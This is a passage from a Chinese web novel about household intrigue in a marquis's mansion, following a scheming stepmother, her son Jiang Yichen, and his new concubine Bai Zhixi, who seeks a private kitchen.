“这就上了她的当了,不过她倒是也没什么坏心,她这手艺也能搏夫人开怀一阵子。您看,这是不是就算是错有错着了?” 徐氏笑了一下,别开眼去,目光落在剩下的小半碗鱼皮饺上:“你还是在惦记她的手艺吧?说吧,她肯帮你、教你,她想要什么?” “她想在大厨房里要一间房,想是要做些吃食讨好四爷。” 夏姑姑带了几分小心地道,“奴婢想着这也是她的本分,而且西院儿里四夫人已经有了小厨房了,想是爷嫌麻烦,不想再添一个。” “大厨房里好几趟的屋子,后头的暂时都没人用,她不占一间,平日里也就是放些东西、当作库房用了。奴婢一时心软,就想着要不就给她一间?” “她的手艺也不是奴婢一个人要学,咱们府里能耐的厨子多了,本也用不着她。可是她是南边儿来的,会做那边的小食,不教奴婢,也能教教底下那些小的,所以就舔着脸来问问夫人,这屋子到底能不能给。” “能,怎么就不行了?就像你说的,空着也是空着。在内宅,规矩是重要,可也得兼顾些人情不是?别的妾室想要金银珠宝、绫罗绸缎,她就要一间厨房,算下来还是辰儿占便宜了呢。” 第40章 把水搅浑 徐氏吩咐道:“你就给她一间吧,对外也别说那么多,别说让她教你们的那些话,免得侯爷听了又要问。” “你就说她做的菜,我吃着顺口,是我提的,给她间屋子,让她研究新菜。别人要是有意见,他们要是有本事让我吃的顺口,尽管来。” “就算大厨房地方不够了,我掏嫁妆银子给他们都修了小厨房去。你把这些话都记住,就照着说,不让你得罪人。” 夏姑姑满口应承,再是依从不过的,可到底心里又开始不踏实了,甚至有了点危机感……徐氏该不会想让柏芷兮管着大厨房,将来反过来把她架空了吧? 徐氏见夏姑姑要走时一副失魂落魄的样子,便都明白了,还反过来开解她: “你想什么呢?她是辰儿的妾室,就算将来做得好了,还生了子嗣,她也就是能升了贵妾去,那才是她的前程。她跟丝绣不一样,你把心放肚子里去,好好当差。” “夫人明鉴,是奴婢小气了,奴婢见识短浅,才跟芷小娘吃这种飞醋。奴婢回去就把事儿办了,等她再有了新吃食,立刻做给夫人吃。” 夏姑姑又是一个机灵,担心自己再失态,跟后面有狗追似的匆忙离开了。 徐氏唤了自己的侍女进来,她净了手,就那般慵懒着看侍女收拾装水的盆子出去,她看着盆里的那汪水,无声地笑了一下。 这偌大的侯府就像一盆水、一个大鱼缸,看着平静和美,其实一直暗流涌动。 这几年姜定武的年纪也大了,她亲生的一子两女也都长大了,是该动一动了,那就先找个出挑的把水搅浑吧。 柏芷兮是个聪明人,又是个出身差的,拿她树个靶子,要是不成,直接废了、换了,她没什么损失,也没什么人会为柏芷兮出头,就连柏兰姵和柏家也不会。 要是成了,大不了抬她做贵妾,自己还能多条臂膀。左右对她都有利而无害,怎么都是她和她的孩子们赚了。 “把安姑姑叫进来,我有话吩咐她去做。” 侍女低声应是,端着盆子出去,没一会儿就把安姑姑唤了来。 安姑姑是徐氏的陪嫁大丫鬟,比徐氏还要年长几岁,最是得徐氏器重,她丈夫王九,管着侯府里的马房和上上下下的车马,为此也有人叫她王九家的。 安姑姑见徐氏气色比早上好了些,屋子里还留有着食物的清香,不觉放下心来: “夫人用过饭了?您这胃口连着几天了都不好,府医只说吃些清热的汤药,养上些时日就好了,可也老不见好。” “这是吃了哪位厨子做的东西?看起来这回是吃顺嘴了,夫人跟奴婢说说,奴婢去打问打问,之后还叫她做去。” 徐氏嫁妆丰厚,娘家又连年都有补充,在这府里的女眷中是最不缺银子使的,她这院子里也设了小厨房。 只是徐氏跟姜奕辰一样,大多数时候都不是重口腹之欲的人,尤其她这一年多里经常喝药多过吃饭的,就索性把原本里面的厨子打发去了大厨房,这小厨房就拿来煎药和晒药材了。 徐氏叹了口气,把刚刚发生的事大概说了说:“一会儿你去二门上等着,等辰儿散了衙,你就跟他说,他这新纳的小娘手艺很好,颇得我的心意,让他就别僵着了。” “娶妻娶贤,纳妾纳色,本就没有那么讲究出身,就算要讲究,这芷小娘一个清倌人,清清白白、文文静静的一个姑娘家,哪儿就比那些小家碧玉差了?” “府里那些人爱嚼舌根子就让他们嚼去,他是做主子的,犯不着看别人的眼色过日子。他要是担心因此受了连累,被世子比下去了。” “你就跟他说,世子居嫡居长,又是原配姐姐所出,世子比他强那是应该的,不比他强那才该担心了呢……” “是,奴婢这就去等着四爷。爷们到底还在争强好胜的年纪,还是夫人想得通透。”安姑姑领命道。 徐氏笑着轻“呵”了一声:“能生个全乎的男丁才是要紧的,管他是什么身份,这种时候得分清楚轻重缓急。” 安姑姑这就去了,在二门处等了一会儿就瞧见姜奕辰带着他的跟班儿康安一块儿回来了。 姜奕辰远远地就看见安姑姑在二门内对着他的方向翘首以盼,等他走近了,还做了个手势示意他移步到旁边单独说话。 姜奕辰让康安先回去,自己走到安姑姑身边:“姑姑,可是母亲有什么话?是父亲给她气受了,还是身子又不好了?” “有什么事儿叫我进去看她就好,怎么还劳动姑姑在这儿等我这么久。” 定安侯姜定武跟全天下大多数高门男子一样,年轻时沙场戎马、朝堂雄辩都是经历过的,等到老了,安逸下来了,都少不得要补偿一下自己。 姜定武早几年就不理朝堂上的事了,因为没有战事,他索性告了病在府里“养着”,因着就姜士明这么一个小孙儿还是个眼盲的,他也不好托辞说什么含饴弄孙的话,只说早年不注意落下了病根,要养病、养伤。 实际上姜定武这几年也纳了几房美妾,好在他自己还知道脸面和尊重,并没有纳那些跟儿子妾室差不多年纪的女子,而是选了几个容貌秀丽却由于种种原因耽误了婚嫁的。 侯门纳妾,娶到那等小门小户却知书达礼的良家女子并不难,徐氏这皇商出身的续弦就有些尴尬了。 这话要怎么说呢,皇商这个阶层在整个禹朝都是一个比较尴尬的存在,原因就是他们介于仕人、高门和商贾之间,不好定义。 徐氏这样的皇商嫡女也一样有这样的问题,你把她跟商贾之女比,她更高贵,格局更大、懂得也更多,可你把她跟高门贵女比,她又懂得太细致了,还精于算计。 就好比许多高门贵女,只要不是那等特意要搏才女名头的,对舞艺、戏曲、马球这些杂艺多有涉猎,但人家还是以懂一些将来不至于被底下的人糊弄、不至于跟打交道的人连话都说不下去为目的的。 第41章 让他再纳一个厨子? 就好比舞艺、唱曲儿、琴艺,其实多数都是要涉猎一下的,但要说精通却未必,只要平时听到了、接触到了,懂得鉴赏,能说出个高低好坏,不至于显得什么都不知道就行了。 而徐氏不一样,她是皇商出身,学这些东西不仅是一种爱好,更加不仅是用于欣赏和鉴赏的,她学这些是得能拿来经营的,或者能送出去打点人脉的。 因此她懂得一定要比大多数人深入,她可以不会,但是必须懂里面的关窍的,而且她钻研这些的角度也与那些个贵女不一样。 这还只是一个方面,其实徐氏在别的事儿上也经常是这么个路子,这大半辈子过去了,也没改多少。 她跟姜定武成婚的时候,姜定武想着能找一个精明能干的替他打理内宅,尤其是将来能将他那原本就不算减薄的家底儿扩充上一些,不仅将来不愁养活这继室后生的子女,连带着原配生下的姜奕德也不会被委屈了。 可是人娶回来了,过了最初的新鲜劲儿了,他才发现,这皇商家的闺女和这些勋贵、文臣家的女儿是不一样的。这么多年下来,依旧格格不入。 于是,等到姜奕德这个世子立稳了之后,他也索性端起了等着含饴弄孙的姿态,开始纳妾享乐起来。如今他和徐氏院子的小娘和通房,不管是不是在府衙记名的,全算上都往十个上面奔了。 徐氏不用子女日日来请安,尤其是姜奕辰这个已经在外面谋了差事的儿子,这几日姜奕辰因着纳妾的事儿又刚见过她,姜奕辰一看见安姑姑在这儿等他,他就以为是徐氏跟姜定武闹起来了。 安姑姑笑着摇头道:“四公子莫急,不是什么着急的事儿。夫人最近胃口不好,好不容易得了一道好吃的扁食,今日竟然吃了一碗多。” “这一高兴啊,就让奴婢来跟您说一声,这‘厨子’有功,是个聪慧伶俐的,应该受到褒奖。” “能让母亲胃口大开,想来手艺了得,的确该赏。”姜奕辰嘴上这么说,心里却很诧异。 一个厨子而已,只是做了一碗扁食,再好吃,它也依旧是扁食,当不得什么大菜。 徐氏自己吃的好,自己赏了就是了,他要是当时在跟前,让他去赏了也行,可这隔着大半个府邸,就让贴身服侍的人过来给他传话。 姜奕辰一下子就想到了陶丝绣身上……他们这些世家公子到了年纪了,都会安排教导人事的女子做他们的屋里人,这女子通常会比他们大上个三五岁。 等到他们成亲娶了正室夫人之后,这些个女子通常就会成为他们的通房甚至妾室,也有一部分会被厚赐金银之后出府嫁人,而徐氏给姜奕辰安排的那个人就是陶丝绣。 当时的姜奕辰很不满这样的安排,他觉得有这么一个人横在他跟他将来的妻子中间,是一件很尴尬的事。 关键是,从选爱妾的角度来看,姜奕辰并不喜欢陶丝绣,他还很惜才,觉得这个比自己大了几岁的侍女不仅绣功了得,还很擅长管人,人缘又好,将来能当一个很好的管事儿。 他把自己的想法告诉了徐氏,徐氏却问了他一个问题,既然陶丝绣有这样的本事,那该如何把她留住呢? 姜奕辰那时候还是个毛头小子,刚刚接触庶务,在用人上还不懂什么男女之别。 他只知道定安侯府的庶务中有很大一块儿都和织染、刺绣有关,这个陶丝绣很重要,既然重要,能当大掌事,士为知己者死,那就该表现出对她才华的欣赏,然后不吝惜金银、财物,并且善待陶家二老甚至是陶丝绣的手足。 却不想徐氏笑着告诉她,陶丝绣早就没了这些可以牵挂的亲人,而且她早晚是要嫁人的。女人嫁了人,就会有外心,就算她嫁给了府里的管事儿和下人也一样。 他该知道还有一句话叫“女为悦己者容”,像陶丝绣这样的人应该收了做屋里人,尤其是最好给她一个孩子,这样他们之间才有了最坚实的共同利益,她才能一辈子为他所用。 他那时候还不懂什么怨侣之类的词,懵懵懂懂的觉得徐氏说的对,而且父母赐不可辞,他也没的推辞,就接纳了陶丝绣,也就有了现在的通房陶姑娘。 现在安姑姑又奉了徐氏的命,特意跑来让他亲自去赏一个能干的厨子,难道又是要他纳一个什么人,而这人是个厨子? 这还了得! 他之所以只让陶丝绣做了通房,这么多年半点抬妾的心思都没有,不仅是因为他们两个之间早就没了男女之间的那些事儿。 更是因为这有精通绣艺的,就有精通庖厨的,还有那会做脂膏的,擅长弹琴、唱曲儿的……万一以后徐氏再觉得这些人也有用了,一个个地赐下来,他妾室的位子可就不够用了。 通房好,不用到官府备文书,也没有数量上的规定,他可以随意安排,出府打理事务也比妾室们方便。 姜奕辰心里是不大愿意的,他敷衍地点了下头:“母亲的意思是让我纳了这个厨子?怎么,是府里还是徐家要开食肆了?” 安姑姑愣了一下,立时便笑了:“四公子说的是什么话,哪儿还能见个人就纳了的。况且食肆、酒肆都太过招摇,人来人往的也容易乱,咱们不做那等买卖。” “况且这人都已经在四公子屋里了,还纳什么纳?您别惊讶,这人就是您新纳的那位芷小娘啊。” 芷小娘,柏芷兮? 姜奕辰终于记起来了,他好像听柏兰姵说过,柏芷兮入揽月苑之前是商贾和匠人之女,家里就是开食肆的。 怎么,那是间很有名的食肆么?她做的东西居然能让徐氏说好,这可不简单啊,难怪她进门第二日什么赏赐都不要,就要一间小厨房。 这是想自己做了吃,还是想用她的手艺讨好这府里的人?他才不许她设小厨房,她这是跑去哪儿借了地方做了扁食? 呵,一碗扁食能有多好吃?她定是做了什么、说了什么得了徐氏的欢心,才让徐氏夸了她做的扁食了。 第42章 不该是完人 “是她?我记得她小时候就入了揽月苑,即便揽月苑有学厨的课业,她也学不了多少,如何能让母亲如此欣赏她的手艺?定是她用了别的法子讨母亲的欢心。” 姜奕辰想着那天敬茶时的情景,感叹他的夫人柏兰姵这回被小雁啄了眼,竟然带了一个心机深沉的女子进府。 又想着那灵动中带着媚的小狐狸竟然这么快就讨得了徐氏欢心,想到了破局之法,倒是个有趣的。 他这些年打理庶务,还费心钻营得到了市令这个职位,他身边实在有太多个心机深沉之人了。 不过他跟别人还不太一样,他从来没有想过找一个单纯如白纸的人来给他解闷,那样的人太难找,甚至比已经有了心机的人更易变,倒不如一开始就有些心机而在别的方面有趣的来得好。 这个柏芷兮或许能让他高兴一阵子,左右他娶妻纳妾都是肩负着家族使命的,能有这么一个兼顾着子嗣传承和令他高兴这两种使命的妾室,也挺有趣的。 安姑姑笑了笑,很是意味深长地道:“她不曾见到夫人,更不曾跟夫人说过一句话,甚至不曾让人替她传过一句话。” 也对,就算她做了什么味道惊艳的扁食出来,以她的身份,定是要别人把这扁食呈到徐氏面前的,要见徐氏哪儿有那么容易? 姜奕辰便笑着问道:“姑姑这是又跟我卖关子呢,要不然就是她在吃食里藏了什么机窍,通过这吃食对母亲说了什么?” 这就好像有人为了缓和另外两人之间的关系,就在特定的日子,送上更二人温暖记忆有关的吃食一样。 他听说这十日里柏芷兮和她那个侍女经常往大厨房跑,大厨房那儿服侍的人跟各个房头都有来往,没准儿就露了徐氏的喜好出来了。 安姑姑却再次笑道:“也不曾,其实那碗扁食并不是她亲手做的,更是不曾传递出什么特殊的用意。不是老奴托大,这可是个妙人。” “一碗扁食,一句话都没说,她是一切都在不言中了,可是该说的、不该说的,别人都替她说了。” “您说她一个妾室,一个养女,进门的时候带了多少嫁妆、钱财都是有记录的,她凭什么打动了那些人?要老奴说,您当初还不想让她进府呢,还好夫人做主,说应该给四夫人和柏家这个面子。” “这是没错的了,四公子一向都喜欢有趣的人,她就不错。咱们夫人说了,您不必为了她那点儿出身就闭着她了。府里总共就这么几个主子,嚼舌头反而是底下人居多。” “您是主子,断断没有在乎底下人嚼舌根子的。更何况芷小娘从前并没有什么不堪的,像她这样的,那揽月苑护着她,还不得比小门小户护着自家闺女还要紧……您就当她是个小家碧玉,就别僵着了。” 姜奕辰再不接纳柏芷兮,那也是在给柏兰姵没脸呢,横竖就是一个妾室,倒不如让大家都好过。 姜奕辰如今也二十好几了,还被母亲看透心事,多少有些尴尬,他含糊地道: “倒不是全是因为她的出身,她一进门就要小厨房,我说了不给,她这就钻营到母亲身边去了。这样会钻营的人,我想先冷着些。” “而且我最近刚得了差事,大哥那儿也刚当了府库副使,我也是怕我这边惹了事儿了,父母不悦,传出去了名声不好。” “一个小娘,柔柔弱弱、吹口气儿皮都能红了的可人儿,能惹多大的事儿。传出去也不过是些酒后的话,四公子,你也是奴婢看着长大的。” 安姑姑停顿了一下,语重心长地道,“奴婢说句不当说的话,您处处想要表现得像一个完人,这份心是好的。可是这世上有几个完人?人太好了,太没有错处了,反而看起来太假了。” “这样的人,会让人忍不住去想,他表现出来的一定不全是真的,很多都是做出来给人看的,他背后一定有什么不可告人的大错处。” “您只是侯府的四公子,不承袭爵位,不承继家业之重,有点错处怎么了?没有错处,才招了别人的眼呢。” 见姜奕辰若有所思,安姑姑行了个礼道,“听说世子爷那边最近又要纳妾了,夫人有句话要奴婢转告公子,你比世子爷差些,才是应当应分的。” 安姑姑说完就告退了,留下姜奕辰一个人慢慢地往西院儿走。 他大哥又要纳妾了?也对,是该纳了,这里面最急的应该就是他了。 定安侯府再他这一代有四子一女,一共五个子嗣,因这只有一个女儿,也就跟他们一起论了排行,就是二姑娘姜采鸯。 其他的三公子是他父亲妾室所生的庶子,名叫姜奕文,因为生母傅小娘早逝,从小由他们的祖母养大。后来老太太去世了,他也成了亲,只是因为喜好文墨和道法,很少与妻子亲近,更是不曾纳妾,至今没有子嗣,也就正常了。 第五子是与姜奕辰同母所出的姜奕安,他从小好动、身子弟子最好,姜定武就做了主,将他送到了一个武学门派里学武,那边离他们家一个堂叔家离得近,也就托了那堂叔照顾着。 姜奕安这些年游历江湖,还曾去军中短暂的效过力,本来冒了点儿要抬头的火苗,结果这火苗刚着起来,就被姜定武给踩灭了。 用姜定武的话说,朝廷削减他们这些军侯府还来不及,谁会想看到他们这些府邸当中出一个领兵打仗的好苗子?赶紧让他歇了这条心。 于是本来就不怎么安分的姜奕安就更不安分了,索性多年游荡在外,算算日子,这都至少有三年没回府了,现在都不知道身在何方,更是没有娶妻,那么没有子嗣也再正常不过了。 而他姜奕辰,在这一代中行四,是徐氏的长子,在家中却是嫡次子。 他是姜定武指定了的用来守夜的儿子,早早地学习打理庶务,也早早地成了亲,虽说也没子女满屋,也没有个全乎的孩子,但好歹有了姜士明这么个儿子。 这府里,满打满算,成了亲还妻妾最多却一个子嗣都没有的,就只有姜奕德了。 第43章 别扭的姜奕辰 姜奕德现在又要纳妾了,不用想都知道是奔着子嗣去的,他还能不近女色了? 姜奕德一样刚得了差事,他姜奕辰若是一直不亲近柏芷兮,姜奕德岂不是看起来要比他不务正业了? 要是这样的话,姜奕德又不知道要在姜定武面前嘀咕什么了,从前没有差事,姜奕德尚且只在府中和他几个好友面前抱怨,现在他还可以到衙门里的那些同僚面前抱怨。 姜奕辰想了想,为了不让偏心眼儿的姜定武更加偏心,他还是“昏庸”一回吧,反正他新进门儿的这个小良妾还挺有意思的。 尤其是想起她刚进门那夜的旖旎春光,姜奕辰禁不住嘴角上扬,都十天了,也不知道他的这位芷小娘有没有想好怎样向他低头? 那日他没有允她在芷春居中设小厨房,主要还是不想太麻烦,好好的宅子,多一处明火,就多一处烟熏火燎的地方。 要是别人,妻妾有个小厨房,变着法儿地给她们的夫君做好吃的,作为她们的夫君,倒是也受用。 可是他偏偏是个不重口腹之欲的人,他这辈子最大的爱好只有两个,一个是赚银子,尽可能地赚很多很多的银子,再一个爱好就是把时间最大限度地利用起来,恨不能让每一寸光阴都发挥出它最大的作用。 好吃的菜品、食物?能让他吃得下去,能吃饱了好让他赶紧去忙他的事儿,才是最重要的。多余的享受只会耽误他宝贵的光阴,他没有必要把他短暂的一生浪费在这种事情上。 因此从他打理府中庶务开始,就把大厨房整顿好了,里面的东西不能说绝对的美味,可也在一众侯门中算是可以的了。要是哪天府里要摆宴,不用去外面请厨子,也一样能摆的平。 这对于姜奕辰来说就足够了,再多了,那就是沉溺了,好在在别的事儿上或许会有分歧,在这件事上整个定安侯府却是空前的团结。 至少这些年来没有人表达过对大厨房和姜奕辰安排的不满,各院儿就算是设了小厨房的,也是为了有时候时辰不对了,随时能吃上一口热饭……这也算是一件姜奕辰能在府中被姜定武拎出来说道的好事儿了。 不过,姜奕辰是一个特别能够体谅和尊重他人爱好的人,尤其尊重那些在这方面有本事、有特长的人,就像他对陶丝绣。 要不是早些年少不更事时听了徐氏的话用妻妾的名分笼络住了陶丝绣,他现在恐怕就要直接任命一个女掌管了。 要是柏芷兮真是一个爱好厨艺的人,又有这样的本事,他该支持才对。那日他会拒绝她设小厨房,主要还是没能了解到她的这身本事。 不然就算他没空吃那些劳什子又矫情的东西,让她做了把他们西院的这几张嘴都养起来也不错,要是她太能做了,做出的东西太多吃不掉的话,大不了人吃一碗,墙吃一碗,吃不了就倒了,反正他养得起,够豪气! 还有就是他虽然还不大了解柏芷兮这个人,可到底是生意场上的老手了,他看得懂她的心思。 她要小厨房应该不止是因为她自己嘴馋,她一定还有别的目的,不然那般小心谨慎的一个人,初入府中不是应该想着如何在府中立足吗? 她现在没钱又没人,做好吃的可是要花不少钱的,更何况要是有了小厨房,这小厨房里的食材用料和炭火都需要她自己通过大厨房那边弄进来,上下打点、人情往来,这种时候还要顾全这些,着实不是一个明智的决定。 她这么做,一定另有目的,可是她偏偏不说,连柏兰姵都瞒着。呵,她不说?那就让她自己憋着吧,他那么忙,哪里还有闲工夫猜一个妾室的想法。 不过现在好了,柏芷兮已经另辟蹊径,通过徐氏证明了她的本事,他就去看看她,听听她怎么说,能不能说出个所以然来,再看看要不要答应她吧。 姜奕辰往芷春居走的这一路上都在想,这一回到底要不要答应她设小厨房,想来想去,心里就已经决定要答应了。 他给自己找的理由是,既然要把勤于公事、不近女色的好名声留给姜奕德,他总得做点什么显示一下他对柏芷兮的宠爱吧? 就把小厨房作为送给她的礼物吧,而且这笔投入还很划算,就算柏芷兮不能给他像陶丝绣那样的惊喜,她这手艺既然得了徐氏的喜欢了,怎么说也能替他侍奉徐氏,在徐氏面前尽孝吧?这就又是一桩好处了。 当晚姜奕辰在芷春居歇下,屋里的灯火直到快三更时才熄了,又是一夜好风光。 在兄弟和交好的几家人里,姜奕辰不算是好女色的,对妻妾的要求并不算高。 从前他只觉得柏兰姵是妻,以贤淑、温柔为首要,因着是正室,要端庄些才能压得住底下的人,她自来比别人少了几分情趣也是应该的。 姚初蕊是贵妾,跟一般纳妾纳色的那种妾室自是不太一样的,确切的说她身上有七分妾室的美、三分妻子的端正。 毕竟一般的贵妾不仅都要比其他的妾室、通房出身要好一些,她们身上往往也是肩负了一些两家交好的使命的,不能像一般妾室那般把夫君服侍好了就没事儿了。 姚初蕊就像这一定义的活产物,充分体现了“贵妾”这一名分的含义,只是他对姚初蕊有些不满,因为她身上那三分的端正大有抬头的趋势。 现在到了柏芷兮了,姜奕辰心里升起一种异样的感觉,他不知道该如何形容他心里的这种感觉。 怎么说呢?明明也是个清清白白的女儿身,可她是怎么做到才服侍了两回就这般得他的心意了?他不想承认他贪恋柏芷兮的身子,可他又不知该如何形容那种感觉。 清早冬暖和秋寒进来分别服侍他们二人梳洗,柏芷兮快速地把自己收拾停当,就过来服侍姜奕辰穿衣,她蹲下身子检查他的腰带系的正不正,就听头顶响起一道声音。 “你就没什么想对我说的?” 第44章他像博古架 柏芷兮正按照从前学过的手法给姜奕辰系腰带、平整衣裳下面的衣角,她十分地专注,甚至额头上都起了一层薄汗了。 从前学这些的时候,她都是在侍女的身上练的,女子都比较纤瘦,而且到底是负责照顾她们的人,动作上都比较配合。 不像姜奕辰这样的,这衣裳被他穿了之后整体的感觉都不一样了,而且说他配合吧,他倒是没什么明显的不配合的举动,可要说他不配合,那也是有些的,因为他身子紧绷,有一种无形中要跟她的动作对着干的感觉。 可是毕竟姜奕辰是她的夫主,武艺上虽然不如那位还没有见过面的五爷,可也是当作强身健体练过的, 柏芷兮正感慨着,还是得多加练习啊,就猛地被他这么一问,她诧异地抬起头: “爷为何要这样问?妾没有什么要说的……啊,爷一会儿要去当值了吧,妾祝爷这一天都顺顺利利的,爷心里想什么都能心想事成。” 就这样,没了? 姜奕辰看着她,从他的这个角度只能看到她的头顶,她今日不用去给柏兰姵请安,没有梳正式的发髻,只是松松垮垮地挽了一个倾髻。 因为这发髻太过松散,只是堪堪地挽着,用了两根木钗固定住,不细看倒像是另一种不知名的发髻了。 不过,最重要的是,她说完这些之后立刻低下了头,注意力都集中在了他的靴子上,仿佛那是一个急需要研究、攻克的难题。 姜奕辰再开口时,声音里就多了几分不满:“今日休沐,不当值,只去铺子里转转。” “哦,休沐啊?那很好啊,听夫人说,这几日爷忙坏了,正好松散松散,也能陪陪世明少爷。”柏芷兮没想到他会会休沐,之前也没人提醒她。 按理说她该想想法子把他留在她的小院儿里,可是她稍微一想,就把这个想法的小火苗给掐灭了。 她跟姜奕辰如今只有妾室服侍夫主的关系,别说情意了,就是一点意趣都没养出来,她冒然将他留下,这进展就太快了,容易引起他的戒心。 她不了解他,要是偶然服侍一晚做做那些事儿也就罢了,左右就是那一套,不用花多少心思。 可这大白天的,人都是清醒着的,他留下来,他们说什么?万一她哪句说不对了,或是说上几句话就没花说了,相对无言地大眼瞪小眼儿地坐着,别再做错了什么,惹他不快。 这种时候还是保持点距离比较好,尤其是她能感觉到姜奕辰还是对她的身子有兴趣的,先拿这个馋着他,等他多来几次,他们能自然地说上话了,她再留他也不迟。 “听说姚姐姐请了工匠来给世明少爷做了好些的木偶、泥偶,个个儿都比妾画的那些精致、好看,爷也可以去看看,多陪陪世明少爷吧。” 没什么说的时候,说孩子总没有错? 姜奕辰心里又多了一点不满,他站在那儿没动,甚至刻意在她要给他提靴子他应该抬脚的时候没动地方,只突然开口问了句: “在想什么?把你现在想的说出来,不许说谎!” 柏芷兮愣了下,她被问了个正着,一时间想不到该如何狡辩,只能眨了眨眼,把心里话说了出来,好在她觉得这些话没什么问题: “妾没想什么,就是在看爷的靴子,想着这是哪儿出的布料,这暗纹的绣功不像是陶姑娘的,也不知道是哪里的。” “妾想从这双靴子里看看爷的喜好,之后好动手给爷做一双,表表心意。不知道爷的喜好,妾是万万不敢先动手的。” 哼,姜奕辰这么难伺候的主儿,她要是不想想怎么办,动动心思,怎么能拿得住他? 不,确切的说,不是拿得住,她一个妾室,凭什么想要拿捏夫主?她想的是,她进府就是为了替柏兰姵生下子嗣,那么至少在她怀上身孕之前,她得保证至少每个月都有机会能服侍得上姜奕辰才行。 都说女子要对男子表示倾慕之情和一心一意的宝贵心意,在民间,最好的方法就是每日在自己的郎君忙完外头的事儿回来之后,亲手做出几道小菜奉上。 而在这些高门里,首要的方式自然就是做针线了。就看那日有过一面之缘的世子姜奕德,那身上的东西,这件是夫人做的,那件是妾室做的,再还有哪件是通房做的……都可有的说道了。 在那一瞬间,柏芷兮只觉得姜奕德在她面前晃晃悠悠地就变成了一个博古架,上面展示着各种出处的绣品、针线活儿。 她想到这个,不由得也把姜奕辰想像成了一个博古架儿,就是可惜了她经验不足,还不够了解他们西院儿的这些人,看不出他身上的这些东西都是谁做的。 靴子穿好了,姜奕辰立刻收回腿,屋内的坐榻上走去,他让人把早饭摆上来,抬眼一看,依旧全都是大厨房的手艺,没有一件新鲜玩意。 显然这里面非但没有柏芷兮亲手做的,就连在柏芷兮授意下别人做的也没有,安姑姑不是说她在大厨房还收了几个徒弟么? 姜奕辰示意她过去,柏芷兮没多想,直接为他用热水烫了筷子和盘子、碗,笑着一样样地介绍: “这是南瓜酥、金丝粥、荷叶蒸饼和老家酱菜……都是大厨房的手艺,妾记得敬茶的时候爷说过,你最喜欢的就是这大厨房的手艺。” “妾便叮嘱了他们,但凡爷到妾这儿用饭的时候,一定让他们原样奉上,千万不要有所感动,就是步骤上有所添减也不要,一定让爷吃得习惯、顺口。” 这些东西就是南安都惯常用的早食,姜奕辰平日里囫囵个儿的就能吃下去,吃完了觉得胃里熨帖,挑不出错了,还能管半日的饱,也就是了。 他从前从来没有对这些菜色不满过,甚至已经习惯了,觉得就该是这样的,可是柏芷兮这话一出,他瞬间便觉得这些东西不香了,甚至难以下咽。 第45章他到底想不想吃? 柏芷兮很听话,不让她设小厨房,她便不说了。他说大厨房的东西好,她就让他吃个够。 管她会做什么山珍海味,也不管府里不缺食材和香料,她就死抓住他之前的话,就是不给他做了。 姜奕辰还从来没有被他后院儿的妻妾违逆过,当即脸上便挂了几分怒容,只是他并不是一个太过喜怒形于色的人,这时候声音还是一如往常般清冷的: “大厨房的手艺虽好,可一成不变也容易让人腻歪,要是有新的、好的菜色,也不是不可以试一试。” 柏芷兮低着头边给他布菜,边研究今日大厨房的菜色是不是真的一点改动都没有,根本就没抬头看一眼姜奕辰那乌云初布的脸: “爷不是说不想在吃食上花太多功夫么?妾后来想了想,这几天都在反思,爷说的有道理,这世上的事儿都分个轻重缓急,一件事儿对这个人重要,可能对另一个人就是无足轻重的。” “爷是市令大人,又要打理侯府的庶务,夫人也要管着西院儿的一应大小事务,姚姐姐有小公子要养育、照料,陶姑娘要帮着府里和侯夫人打理绣楼、绣庄……只有妾什么事儿都没有。” “你们都是忙大事的人,想要无欲则刚,没什么不对的,其实正该如此,要是为了一些无关紧要的事,就把自个儿给耽误了,实在不值。” 言下之意,您不对吃食兴趣不高,那是因为您有大事儿要忙,吃多了就犯困,四处张罗好的和新奇的吃食还耽误工夫,您还是干大事儿去吧。 这些个小事儿就由他们这些小人物去办好了,他们这些人生来就做不了大事儿,每日能吃饱穿暖,偶尔能过个嘴瘾,尝几口新鲜的,就知足了。 这些话有八成是柏芷兮此刻再真实不过的想法,上回因为小厨房,她已经触了姜奕辰眉头了,这回万万不能再惹怒他。 她这么说真的只是想恭维他、迎合他,绝对没有别的意思,更没有要讥讽他或是用好吃的吊着他胃口的计划。 他都那么坚决的表示他要克制口腹之欲了,她上杆子的去说也没用啊。 他都是二十几岁的人了,习性早就养成了,不是她能轻易改变的。她都想好了,她可以用吃食去讨好侯夫人甚至柏兰姵和府里的这些管事儿、下人,就是姜奕辰和姚初蕊这样的人不行。 姜奕辰眉头微皱,他的事儿再烦、再难,他都很少会皱眉,唯独对柏芷兮这样捉摸不透的人。 她到底是什么意思?该不会真没明白他刚刚话里的意思吧? 听说揽月苑的这些姑娘学的都是些讨好男人的本事,按理说该很会揣摩男人的心思的,她不懂,是在装糊涂? 不像,那就是她们学的多是琴棋书画上的记忆,实际上没读过多少书,所以没听明白他话里的意思? 姜奕辰觉得可能是后者,于是,他又白话说得更直白了些:“民以食为天,再大的人物都得吃饭,能吃得顺口些,又不用他们动手去做,有时候也没什么不好的。” 这回轮到柏芷兮犯糊涂了,难道他的意思是……想吃? 可是不行啊,即便他想吃,现在也不能让他吃到他做的东西。他们之间还没有建立起足够的信任,现在食材的用料还完全掌握在大厨房那边,她还不能完全放心。 让大厨房那些人自己动手做,他们不会害他们自己,当然是会尽心的,要是她亲手做了再给他吃,那可就不敢保证了。 别人也就罢了,姚初蕊要是知道她亲自下厨给姜奕辰做吃的,还不得趁着她把握不住食材的安全和手底下这些个人,插一手进来给她使坏?她可不能现在就开这个口子…… 萧大娘子说过,要想安安稳稳地在内宅做妾,一定要事事小心,不要放过一个细节,平安至上!就算要邀宠,也一定要在安全的前提下。 柏芷兮抬眼看向姜奕辰,媚儿腼腆地笑了一下,赶忙又低下头去,看起来很不好意思的样子: “爷就别宽慰妾身,妾是重口腹之欲,总是嘴馋,可也知道这民以食为天说的是百姓要有饭吃,要能吃饱,可不是说人人都得大鱼大肉的,更不是说必须得在吃食上花多少功夫。” “爷出生在侯府,不了解外面的事儿,咱们百姓的日子可不是那么好过的,大多数时候就是糊弄个肚饱儿,不到了年节或是生辰上,是很少花那么多心思的。” “就算是放到您身上,您或许会说,多吃一顿好饭也没什么,横竖不用您亲自下厨耽误工夫。可您也不想想,您想吃什么,觉得今儿的菜色好不好,不好的话哪里不合口味了,要如何去改。” “今日想吃这个了,明日想吃那个了,没了食材要人去寻么,寻么着没有还要去挂心、去询问……这些都算上,可就耽误大工夫了,您这样日理万机的人哪能受得了这个?” 还是维持原样的好,对于姜奕辰这样想干大事的人,还是得无欲则刚,吃饭只是填饱肚子、保存精力的工具,在多花心思,那就是要误了大事的。 